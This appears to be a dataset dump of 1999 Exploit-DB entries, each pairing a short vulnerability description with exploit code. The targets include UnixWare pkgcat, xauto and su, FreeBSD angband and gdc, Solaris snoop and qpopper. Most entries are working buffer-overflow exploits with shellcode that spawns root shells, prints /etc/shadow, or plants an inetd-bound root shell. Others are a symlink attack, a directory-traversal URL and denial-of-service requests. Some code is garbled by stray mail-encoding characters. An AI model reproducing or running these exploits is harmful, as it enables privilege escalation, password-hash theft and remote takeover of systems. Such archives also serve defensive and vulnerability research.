QLWD/code_shield huggingface dataset:
标题: SCO Unixware 7.1 pkgcat - Local Buffer Overflow EDB-ID: 19660 CVE: 1999-0828 类型: LOCAL 平台: SCO 发布日期: 1999-12-06 漏洞利用脚本: // source: https://www.securityfocus.com/bid/853/info

It is possible to view the entries in /etc/shadow through exploiting a buffer overflow in pkgcat and pkginstall. Though neither of these binaries are setuid, the dacread permissions which are granted in /etc/security/tcb/privs give them the ability read /etc/shadow. When the oversized buffer data is passed to the programs as argv[1], the stack will be corrupted and it is possible to spawn a program which would "cat" /etc/shadow with the dacread privs.

/**
 ** UnixWare 7.1 /usr/sbin/pkgcat exploit 

 ** Prints contents of /etc/shadow (execing shell won't be enough here)
 ** Demonstrates overflow in uw71's gethostbyname() and dacread permissio
n
 ** problems.  Use offsets of +-100.
 **
 ** Compile cc -o uwpkgcat uwpkgcat.c
 ** run /usr/sbin/pkgcat -s `./uwpkgcat 100`:
 **
 ** Brock Tellier btellier@usa.net
 **/ 



#include <stdlib.h>
#include <stdio.h>

char scoshell[]= 

"\xeb\x1b\x5e\x31\xdb\x89\x5e\x07\x89\x5e\x0c\x88\x5e\x11\x31\xc0"
"\xb0\x3b\x8d\x7e\x07\x89\xf9\x53\x51\x56\x56\xeb\x10\xe8\xe0\xff"
"\xff\xff/tmp/pi\xaa\xaa\xaa\xaa\x9a\xaa\xaa\xaa\xaa\x07\xaa";

                       

#define LEN 3500
#define NOP 0x90
#define CODE "void main() { system(\"cat /etc/shadow\"); }\n"

void buildpi() {
  FILE *fp;
  char cc[100];
  fp = fopen("/tmp/pi.c", "w");
  fprintf(fp, CODE);
  fclose(fp);
  snprintf(cc, sizeof(cc), "cc -o /tmp/pi /tmp/pi.c");
  system(cc);

}

int main(int argc, char *argv[]) {

long int offset=0;

int i;
int buflen = LEN;
long int addr;
char buf[LEN];
buildpi(); 

 if(argc > 3) {
  fprintf(stderr, "Error: Usage: %s offset buffer\n", argv[0]);
        exit(0); 

 }
 else if (argc == 2){
   offset=atoi(argv[1]);
   

 }
 else if (argc == 3) {
  offset=atoi(argv[1]);
  buflen=atoi(argv[2]); 

  

 }
else {
   offset=100;
   buflen=3000;

 }



addr=0x8046b75 + offset;

fprintf(stderr, "\nUnixWare 7.1 pkgcat exploit prints");
fprintf(stderr, "/etc/shadow\n");
fprintf(stderr, "Brock Tellier btellier@usa.net\n\n");
fprintf(stderr, "Using addr: 0x%x\n", addr+offset);

memset(buf,NOP,buflen);
memcpy(buf+(buflen/2),scoshell,strlen(scoshell));
for(i=((buflen/2) + strlen(scoshell))+2;i<buflen-4;i+=4)
        *(int *)&buf[i]=addr;
buf[buflen - 1] = ':';

printf(buf);
exit(0);
} URL: https://www.exploit-db.com/exploits/19660
标题: SCO Unixware 7.1 pkginstall - Local Buffer Overflow EDB-ID: 19661 CVE: 1999-0988 1999-0828 类型: LOCAL 平台: SCO 发布日期: 1999-12-06 漏洞利用脚本: // source: https://www.securityfocus.com/bid/853/info
 
It is possible to view the entries in /etc/shadow through exploiting a buffer overflow in pkgcat and pkginstall. Though neither of these binaries are setuid, the dacread permissions which are granted in /etc/security/tcb/privs give them the ability read /etc/shadow. When the oversized buffer data is passed to the programs as argv[1], the stack will be corrupted and it is possible to spawn a program which would "cat" /etc/shadow with the dacread privs.

/**
 ** UnixWare 7.1 /usr/sbin/pkginstall exploit 

 ** Prints contents of /etc/shadow (execing shell won't be enough here)
 ** Demonstrates overflow in uw71's gethostbyname() and dacread permissio=
n
 ** problems.  Use offsets of +-100.
 **
 ** Compile cc -o uwpkgi uwpkgi.c
 ** run /usr/sbin/pkginstall -s `./uwpkgi 100`:
 **
 ** Brock Tellier btellier@usa.net
 **/ 



#include <stdlib.h>
#include <stdio.h>

char scoshell[] = 

"\xeb\x1b\x5e\x31\xdb\x89\x5e\x07\x89\x5e\x0c\x88\x5e\x11\x31\xc0"
"\xb0\x3b\x8d\x7e\x07\x89\xf9\x53\x51\x56\x56\xeb\x10\xe8\xe0\xff"
"\xff\xff/tmp/pi\xaa\xaa\xaa\xaa\x9a\xaa\xaa\xaa\xaa\x07\xaa";

                       

#define LEN 3500
#define NOP 0x90
#define CODE "void main() { system(\"cat /etc/shadow\"); }\n"

void buildpi() {
  FILE *fp;
  char cc[100];

  fp = fopen("/tmp/pi.c", "w");
  fprintf(fp, CODE);
  fclose(fp);
  snprintf(cc, sizeof(cc), "cc -o /tmp/pi /tmp/pi.c");
  system(cc);

}

int main(int argc, char *argv[]) {

long int offset=0;

int i;
int buflen = LEN;
long int addr;
char buf[LEN];
buildpi(); 

 if(argc > 3) {
  fprintf(stderr, "Error: Usage: %s offset buffer\n", argv[0]);
        exit(0); 

 }
 else if (argc == 2){
   offset=atoi(argv[1]);
   
 }
 else if (argc == 3) {
  offset=atoi(argv[1]);
  buflen=atoi(argv[2]); =

 }
 else {
   offset=100;
   buflen=3000;

 }

addr=0x8046b75 + offset;

fprintf(stderr, "\nUnixWare 7.1 pkginstall exploit prints");
fprintf(stderr, "/etc/shadow\n");
fprintf(stderr, "Brock Tellier btellier@usa.net\n\n");
fprintf(stderr, "Using addr: 0x%x\n", addr+offset);

memset(buf,NOP,buflen);
memcpy(buf+(buflen/2),scoshell,strlen(scoshell));
for(i=((buflen/2) + strlen(scoshell))+2;i<buflen-4;i+=4)
        *(int *)&buf[i]=addr;
buf[buflen - 1] = ':';

printf(buf);
exit(0);
} URL: https://www.exploit-db.com/exploits/19661
标题: Solaris 2.3/2.4/2.5/2.5.1/2.6/7.0 snoop - 'print_domain_name' Remote Buffer Overflow EDB-ID: 19663 CVE: 1999-0973 类型: REMOTE 平台: SOLARIS 发布日期: 1999-12-07 漏洞利用脚本: // source: https://www.securityfocus.com/bid/858/info

If a solaris machine is running snoop in verbose mode, it may be possible to compromise its security remotely by exploiting a buffer overflow in snoop. The problem is a buffer with a predefined length of 1024 that can be overflowed in the print_domain_name function. The priviliges granted to arbitrary code which could be executed would be those of the user running snoop, root. 

/* 
   by: K2,
   version .2
   this is a funny Solaris.
   remote Solaris 2.7 x86 snoop exploit
   rm /tmp/w0 yourself!&@$*(&$!*(@*$&()%RW
   
   run with ( ./snp ) | nc -u target_host_network 53
   requires target host to be running "snoop"
   
   verified with patch 108483-01
   
   thx str/horizon for shellcodes.  Hi plageuz
   Hi mom.
*/
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>


char shell[] =
"\xEB\x37\x5E\x8D\x5E\x10\x89\x1E\x83\xC3\x08\x89"
"\x5E\x04\x83\xC3\x03\x89\x5E\x08\x83\xEB\x0B\x8D"
"\x0E\x89\xCA\x33\xC0\x89\x46\x0C\x89\x46\xF5\x89"
"\x46\xFA\x88\x46\x17\x88\x46\x1A\xB0\x3B\x52\x51"
"\x53\x50\x9A\x73\x74\x72\x6E\x07\x72\xE8\xC4\xFF"
"\xFF\xFF\x31\x33\x20\x4A\x61\x6E\x20\x31\x39\x39"
"\x38\x2D\x2D\x73\x74\x72\x2F\x62\x69\x6E\x2F\x73"
"\x68\x28\x2D\x63\x29 echo w00w00;echo \"ingreslock" 
"stream tcp nowait root /bin/sh sh -i\" >>/tmp/w0;"
"/usr/sbin/inetd -s /tmp/w0;/bin/rm -f /tmp/w0";


#define SIZE 2048
#define NOPDEF 349
#define DEFOFF 0

const char x86_nop=0x90;
long nop=NOPDEF,esp=0x804646c;
long offset=DEFOFF;
char buffer[SIZE];

int main (int argc, char *argv[]) {
    int i;

    if (argc > 1) offset += strtol(argv[1], NULL, 0);
    if (argc > 2) nop += strtoul(argv[2], NULL, 0);

    memset(buffer, x86_nop, SIZE);
    memcpy(buffer+nop, shell, strlen(shell));
    for (i = nop+strlen(shell); i < SIZE-4; i += 4) {
        *((int *) &buffer[i]) = esp+offset;
    }

    fprintf(stderr,"0x%x\n",esp+offset);
    printf("%s", buffer);

    return 0;
} URL: https://www.exploit-db.com/exploits/19663
标题: FreeBSD 3.3 - 'angband' Local Buffer Overflow EDB-ID: 19653 CVE: 1999-0826 类型: LOCAL 平台: FREEBSD 发布日期: 1999-12-01 漏洞利用脚本: // source: https://www.securityfocus.com/bid/840/info

The version angband shipped with FreeBSD 3.3-RELEASE is vulnerable to a local buffer overflow attack. Since it is setgid games, a compromise of files and directories owned by group games is possible. 

/* FreeBSD 3.3 angband exploit yields egid of group games
* usage: gcc -o angames angames.c
/path/to/angband `./angames <offset>`
* overflow is 1088bytes of NOP/Shellcode + 4bytes EIP +2bytes garbage
* Brock Tellier <btellier@usa.net>
*/


#include <stdio.h>

char shell[]= /* mudge@lopht.com */
"\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
"\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
"\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
"\x9a>:)(:<\xe8\xc6\xff\xff\xff/bin/sh";
 =

 =

main (int argc, char *argv[] ) {
int x = 0;
int y = 0;
int offset = 0;
int bsize = 1095; /* 2bytes"-u" + overflowed buf's bytes + */
char buf[bsize]; /* 4bytesEBP + 4bytesEIP + 2bytesGarbage */
char arg[bsize + 2];
int eip = 0xbfbfc6b4; /* FreeBSD 3.3 */
 =

if (argv[1]) { =

offset = atoi(argv[1]);
eip = eip + offset;
}
fprintf(stderr, "eip=0x%x offset=%d buflen=%d\n", eip, offset, bsiz=
e);
 =

for ( x = 0; x < 1021; x++) buf[x] = 0x90;
fprintf(stderr, "NOPs to %d\n", x);
 =

for ( y = 0; y < 67 ; x++, y++) buf[x] = shell[y];
fprintf(stderr, "Shellcode to %d\n",x);
 =

buf[x++] = eip & 0x000000ff;
buf[x++] = (eip & 0x0000ff00) >> 8;
buf[x++] = (eip & 0x00ff0000) >> 16;
buf[x++] = (eip & 0xff000000) >> 24;
fprintf(stderr, "eip to %d\n",x);
buf[x++] = 'X';
buf[x++] = 'X';
fprintf(stderr, "garbage to %d\n", x);

buf[bsize - 1] = '\0';

sprintf(arg, "-u%s", buf);
arg[bsize + 1] = '\0';
 =

printf("%s", arg);
 =

} URL: https://www.exploit-db.com/exploits/19653
标题: SCO Unixware 7.0/7.0.1/7.1/7.1.1 - 'xauto' Local Buffer Overflow EDB-ID: 19656 CVE: 1999-0866 类型: LOCAL 平台: SCO 发布日期: 1999-12-03 漏洞利用脚本: // source: https://www.securityfocus.com/bid/848/info

Certain versions of SCO's UnixWare ship with a version of /usr/X/bin/xauto which is vulnerable to a buffer overflow attack which may result in an attacker gaining root privileges.

This is exploitable to gain root privileges even though /usr/X/bin/xauto is not setuid root. This is due to a system design issue with SCO Unixware which is discussed in an attached message in the 'Credit' section titled "UnixWare 7 uidadmin exploit + discussion". 

/**
 ** UnixWare 7.1 root exploit for xauto
 ** Note that xauto is NOT suid or sgid but gains it's privs from
 ** /etc/security/tcb/privs.  For more info, consult intro(2) =

 ** and fileprivs(1)
 ** =

 **
 ** Brock Tellier btellier@usa.net
 **/ =



#include <stdlib.h>
#include <stdio.h>

char scoshell[]= /* UnixWare 7.1 shellcode runs /tmp/ui */
"\xeb\x1b\x5e\x31\xdb\x89\x5e\x07\x89\x5e\x0c\x88\x5e\x11\x31\xc0"
"\xb0\x3b\x8d\x7e\x07\x89\xf9\x53\x51\x56\x56\xeb\x10\xe8\xe0\xff"
"\xff\xff/tmp/ui\xaa\xaa\xaa\xaa\x9a\xaa\xaa\xaa\xaa\x07\xaa";

                       =

#define EGGLEN 2048
#define RETLEN 5000
#define ALIGN 0
#define NOP 0x90
#define CODE "void main() { setreuid(0,0); system(\"/bin/sh\"); }\n"

void buildui() {
  FILE *fp;
  char cc[100];

  fp = fopen("/tmp/ui.c", "w");
  fprintf(fp, CODE);
  fclose(fp);
  snprintf(cc, sizeof(cc), "cc -o /tmp/ui /tmp/ui.c");
  system(cc);

}

int main(int argc, char *argv[]) {
  =

  long int offset=0;
  =

  int i;
  int egglen = EGGLEN;
  int retlen;
  long int addr;
  char egg[EGGLEN];
  char ret[RETLEN];
  // who needs __asm__?  Per Solar Designer's suggestion
  unsigned long sp = (unsigned long)&sp; =


  buildui();
  if(argc > 3) {
    fprintf(stderr, "Error: Usage: %s offset buffer\n", argv[0]);
    exit(0); =

  }
  else if (argc == 2){
    offset=atoi(argv[1]);
    retlen=RETLEN;
  }
  else if (argc == 3) {
    offset=atoi(argv[1]);
    retlen=atoi(argv[2]); =

  }
  else {
    offset=9400;
    retlen=2000;
    =

  }
  addr=sp + offset;
  =

  fprintf(stderr, "UnixWare 7.x exploit for the non-su/gid
/usr/X/bin/xauto\n");
  fprintf(stderr, "Brock Tellier btellier@usa.net\n");
  fprintf(stderr, "Using offset/addr: %d/0x%x\n", offset,addr);
  =

  memset(egg,NOP,egglen);
  memcpy(egg+(egglen - strlen(scoshell) - 1),scoshell,strlen(scoshell));
  =

  for(i=ALIGN;i< retlen-4;i+=4)
    *(int *)&ret[i]=addr;  =

  =

  memcpy(egg, "EGG=", 4);
  putenv(egg);

  execl("/usr/X/bin/xauto", "xauto","-t", ret, NULL); =

  =

} URL: https://www.exploit-db.com/exploits/19656
标题: FreeBSD 3.3 - 'xmindpath' Local Buffer Overflow EDB-ID: 19652 CVE: 1999-0823 类型: LOCAL 平台: FREEBSD 发布日期: 1999-12-01 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/839/info

The version of xmindpath shipped with FreeBSD 3.3 can be locally exploited via overrunning a buffer of predefined length. It is possible to gain the effective userid of uucp through this vulnerability. It may be possible, after attaining uucp priviliges, to modify binaries to which uucp has write access to and trojan them to further elevate priviliges), ie: modify minicom so that when root runs it, drops a suid shell somewhere. 
*/

/*
 *
 * FreeBSD 3.3 xmindpath exploit gives euid uucp
 * Compile: gcc -o xmindx xmindx.c
 * Usage: ./xmindx <offset>
 /path/to/mindpath -f $RET
 * Brock Tellier <btellier@usa.net>
 *
 */
 
 #include <stdlib.h>
 #include <stdio.h>
 

 char shell[]= /* mudge@l0pht.com */
 "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
 "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
 "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
 "\x9a>:)(:<\xe8\xc6\xff\xff\xff/bin/sh";
 

 #define EGGLEN 2048
 #define RETLEN 279
 #define ALIGN 3
 #define NOP 0x90

 int main(int argc, char *argv[]) {
 

 long int offset=0;
 int i;
 int egglen = EGGLEN;
 int retlen = RETLEN;
 long int addr = 0xbfbfcfa8;
 char egg[EGGLEN];
 char ret[RETLEN];


 if (argc == 2) offset = atoi(argv[1]);


 addr=addr + offset;

 fprintf(stderr, "FreeBSD xmindpath exploit /path/to/xmindpath -f $RET\n");
 fprintf(stderr, "Brock Tellier btellier@usa.net\n");
 fprintf(stderr, "Using addr: 0x%x\n", addr);

 memset(egg,NOP,egglen);
 memcpy(egg+(egglen - strlen(shell) - 1),shell,strlen(shell));
  

 for(i=ALIGN;i< retlen;i+=4)
 *(int *)&ret[i]=addr;
 

 memcpy(egg, "EGG=", 4);
 putenv(egg);
 memcpy(ret,"RET=",4);
 putenv(ret);

 system("/usr/local/bin/bash");

 } URL: https://www.exploit-db.com/exploits/19652
标题: FreeBSD 3.3 - 'gdc' Symlink EDB-ID: 19650 CVE: 1999-0857 类型: LOCAL 平台: FREEBSD 发布日期: 1999-12-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/835/info

It is possible to write debug ouput from gdc to a file (/var/tmp/gdb_dump). Unfortunately, gdc follows symbolic links which can be created in tmp and will overwrite any file on the system thanks to it being setiud root. This does not cause any immediate compromises and is more of a denial of service attack since it does not change the permissions of the overwritten files (to say, world writeable or group writeable). Local users are required to be in group wheel (or equivelent) to execute gdc.

ln -s /etc/master.passwd /var/tmp/gated_dump

And then wait for a priviliged user to run gdc dump. URL: https://www.exploit-db.com/exploits/19650
标题: Qualcomm qpopper 3.0/3.0 b20 - Remote Buffer Overflow (2) EDB-ID: 19646 CVE: 1999-0822 类型: REMOTE 平台: UNIX 发布日期: 1999-11-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/830/info
 
There is a buffer overflow vulnerability present in current (3.x) versions of Qualcomm popper daemon. These vulnerabilities are remotely exploitable and since the daemon runs as root, the host running qpopper can be completely compromised anonymously. The problem is in pop_msg.c, around line 68 and is the result of vsprintf() or sprintf() calls without bounds checking.

#!/usr/bin/perl
# *** Synnergy Networks

# * Description:
#
# Remote buffer overflow exploit for QPOP 3.0b<=20 
# running on Linux.
# (based on code by sk8@lucid-solutions.com)

# * Author:
#
# headflux (hf@synnergy.net)
# Synnergy Networks (c) 1999,  http://www.synnergy.net

# * Usage:
# ./qpop-linux.pl <offset> | nc -v <hostname> 110

# *** Synnergy Networks

$nop    = "\x90";
#$offset        = 0;

$shell  = "\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa";
$shell  .= "\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04";
$shell  .= "\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff";
$shell  .= "\xff\xff/bin/sh";

#$i     = 0;
$buflen = 990;
$ret    = 0xbfffd304;
$cmd    = "AUTH ";

if(defined $ARGV[0])
{
        $offset = $ARGV[0];
}

$buf = $nop x $buflen;
substr($buf, 0, length($cmd))  = "$cmd";
substr($buf, 800, length($shell))       = "$shell";

for ($i=800+length($shell) + 2; $i < $buflen - 4; $i += 4)
{
        substr($buf, $i, length($ret + offset)) = pack(l,$ret + $offset);
}

# substr($buf, $buflen - 2, 1)  = "\n";
# substr($buf, $buflen - 1, 1)  = "\n";

#$buf   .= "\n";

printf STDOUT "$buf\n";

# EndOfFile URL: https://www.exploit-db.com/exploits/19646
标题: symantec mail-gear 1.0 - Directory Traversal EDB-ID: 19644 CVE: 1999-0842 类型: REMOTE 平台: MULTIPLE 发布日期: 1999-11-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/827/info

Mail-Gear, a multi-purpose filtering email server, includes a webserver for remote administration and email retrieval. This webserver is vulnerable to the '../' directory traversal attack. By including the string '../' in the URL, remote attackers can gain read access to all files on the filesystem that the server has read access to. 


http: //target.host:8003/Display?what=../../../../../autoexec.bat
will display the server's autoexec.bat in a default NT installation. URL: https://www.exploit-db.com/exploits/19644
标题: FreeBSD 3.3 - 'gdc' Local Buffer Overflow EDB-ID: 19649 CVE: 1999-0855 类型: LOCAL 平台: FREEBSD 发布日期: 1999-12-01 漏洞利用脚本: // source: https://www.securityfocus.com/bid/834/info

There is a buffer overflow vulnerability known to be present in the version of gdc shipped with the 3.3-RELEASE version of FreeBSD. By default, only users in group wheel have execute access to gdc. The overflow occurs when the argument passed along with the -t flag (time) exceeds its predefined buffer length. It is possible to then corrupt the stack and alter the flow of execution (and execute arbitrary code). With gdc setuid root by default, this can lead to a local root compromise if exploited by users who have or gain access of or belong to the wheel group (or trusted gated group).

/* 

 * gdc exploit for Freebsd-3.3 yields euid=0(root)
 * by default, only group wheel (or whatever your trusted gated group is)=

 * and root can run gdc
 * Brock Tellier btellier@usa.net
 */


#include <stdio.h>

char shell[] = /* mudge@l0pht.com */
  "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
   "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
   "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
   "\x9a>:)(:<\xe8\xc6\xff\xff\xff/bin/sh";


main (int argc, char *argv[] ) {
 int x = 0;
 int y = 0;
 int offset = 0;
 int bsize = 4093;
 char buf[bsize];
 int eip = 0xbfbfdb65; /* works for me */

 if (argv[1]) { =

   offset = atoi(argv[1]);
   eip = eip + offset;
 }
 fprintf(stderr, "gdc exploit for FreeBSD 3.3-RELEASE <btellier@usa.net>\=
n");
 fprintf(stderr, "eip=0x%x offset=%d buflen=%d\n", eip, offset, bsi=
ze);
 =

 for ( x = 0; x < 937; x++) buf[x] = 0x90;
     fprintf(stderr, "NOPs to %d\n", x);
 =

 for ( y = 0; y < 67 ; x++, y++) buf[x] = shell[y];
     fprintf(stderr, "Shellcode to %d\n",x);
  =

  buf[x++] =  eip & 0x000000ff;
  buf[x++] = (eip & 0x0000ff00) >> 8;
  buf[x++] = (eip & 0x00ff0000) >> 16;
  buf[x++] = (eip & 0xff000000) >> 24;
     fprintf(stderr, "eip to %d\n",x);

 buf[bsize - 1]='\0';

 execl("/usr/local/bin/gdc", "gdc", "-t", buf, NULL);

} URL: https://www.exploit-db.com/exploits/19649
标题: Alt-N MDaemon 2.8.5 - WebConfig Overflow Denial of Service EDB-ID: 19639 CVE: 1999-0844 类型: DOS 平台: WINDOWS 发布日期: 1999-11-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/820/info

The Mdaemon mail server for Windows includes a small web server for web-based remote administration. This webserver is vulnerable due to an unchecked buffer that handles incoming GET requests. An abnormally large URL sent to the WebConfig service at port 2002 will crash the service.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19639-1.zip

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19639-2.exe URL: https://www.exploit-db.com/exploits/19639
标题: SCO Unixware 2.1/7.0/7.0.1/7.1/7.1.1 - su(1) Buffer Overflow EDB-ID: 19643 CVE: 1999-0845 类型: LOCAL 平台: SCO 发布日期: 1999-10-30 漏洞利用脚本: // source: https://www.securityfocus.com/bid/826/info

Certain versions of Unixware ship with a version of su(1) which is vulnerable to a buffer overflow attack. This attack is possible because su(1) fails to sanity check user supplied data, in this instance a username supplied on the command line. Because su(1) is SUID root this attack may result in root privileges. 

// UnixWare7 /usr/bin/su local, K2, revisited Oct-30-1999
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char shell[] =
 "\xeb\x48\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0\x89\x46\xb4"
 "\x88\x46\xb9\x88\x46\x07\x89\x46\x0c\x31\xc0\x50\xb0\x8d\xe8\xdf"
 "\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\xb0\x17\xe8\xd2\xff\xff\xff"
 "\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53\x8d\x1e\x89\x5e\x08\x53"
 "\xb0\x3b\xe8\xbb\xff\xff\xff\x83\xc4\x0c\xe8\xbb\xff\xff\xff\x2f"
 "\x62\x69\x6e\x2f\x73\x68\xff\xff\xff\xff\xff\xff\xff\xff\xff";

const char x86_nop=0x90;
long nop,esp;
long offset=DEFOFF;
char buffer[SIZE];

long get_esp() { __asm__("movl %esp,%eax"); }

int main (int argc, char *argv[])
{
    register int i;

    if (argc > 1) offset += strtol(argv[1], NULL, 0);
    if (argc > 2) nop += strtoul(argv[2], NULL, 0);
    else
        nop = NOPDEF;
    esp = get_esp();

    memset(buffer, x86_nop, SIZE);
    memcpy(buffer+nop, shell, strlen(shell));

    for (i = nop+strlen(shell); i < SIZE-4; i += 4)
        *((int *) &buffer[i]) = esp+offset;

    printf("offset = [0x%x]\n",esp+offset);
    execl("/usr/bin/su", "su", buffer, NULL);

    printf("exec failed!\n");
    return 0;
} URL: https://www.exploit-db.com/exploits/19643
标题: Alt-N WorldClient Pro 2.0.0.0/2.0.1.0/Standard 2.0.0.0 - Long URL Denial of Service EDB-ID: 19640 CVE: 1999-0844 类型: DOS 平台: WINDOWS 发布日期: 1999-11-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/823/info

Alt-N's WorldClient is an email webserver that allows it's users to retrieve email via HTTP. It is susceptible to denial of service attacks due to an unchecked buffer in the request handler. Supplying a long url will crash the server.

http ://target.host:2000/[long string] URL: https://www.exploit-db.com/exploits/19640